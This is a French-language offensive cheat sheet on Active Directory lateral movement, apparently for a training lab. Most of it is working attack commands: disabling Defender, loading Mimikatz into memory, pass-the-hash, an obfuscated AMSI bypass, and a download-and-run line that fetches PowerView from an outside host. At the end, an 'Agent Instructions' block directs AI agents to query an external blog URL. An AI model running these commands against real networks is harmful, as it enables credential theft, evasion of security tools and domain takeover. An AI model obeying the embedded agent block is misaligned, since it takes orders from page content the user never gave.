# Lateral movement

### ADModule:

```
Import-Module ..\\Microsoft.ActiveDirectory.Management.dll 
Import-Module .\\ActiveDirectory.psd1
```

### Créer une session :

```
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Enter-PSSession -Session $sess
```

### Exécuter des commandes sur cette session :

```
Invoke-command -ScriptBlock {whoami} -ComputerName (Get-Content <list_of_servers>) # Injection de la commande "whoami" dans une list de machines
Invoke-command -ScriptBlock {Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -Filepath C:\\AD\\Tools\\Invoke-Mimikatz.ps1 -Session $sess # Load d'une fonction directement dans la mémoire de la machine ciblée
Invoke-command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess # Appel d'une fonction en la loadant directement dans la mémoire
```

### Pass-The-Hash :

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe"'
```

### Checklist création de session :

* [ ] Checker le mode language :

```
$ExecutionContext.SessionState.LanguageMode #Si c'est ConstrainedLanguage il nous sera impossible d'executer des modules 
```

* [ ] Si on est en mode ConstrainedLanguage checker la politique AppLocker :

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

* [ ] Bypasser AMSI dès la création de la session :

```
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

* [ ] Désactiver AV :

```
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
```

* [ ] Bypass de l'execution policy :

```
powershell -ep bypass
```

* [ ] Download de scripts

```
iex (iwr <http://172.16.100.X/PowerView.ps1> -UseBasicParsing) #via un HFS
Copy-Item .\\Invoke-MimikatzEx.ps1 \\\\dcorp-adminsrv.dollarcorp.moneycorp.local\\c$\\"Program Files" # Utiliser le SMB Protocole 
```

### Énumération Latérale

* [ ] Checker les accès sur d'autres machines avec les privilèges de LocalAdmin

```
Find-LocalAdminAccess
```

* [ ] Checker si un Domain Admin s'est connectée sur une des machines accessibles avec les privilège Local Admin :

```
Invoke-UserHunter -CheckAccess #par default groupe domain admin
Invoke-UserHunter -GroupName "RDPUser" -CheckAccess
```

* [ ] Et rebelote au début pour jusqu'à trouver un compte permettant une privesc


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.hacktive.bebzounette.com/active-directory/lateral-movement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
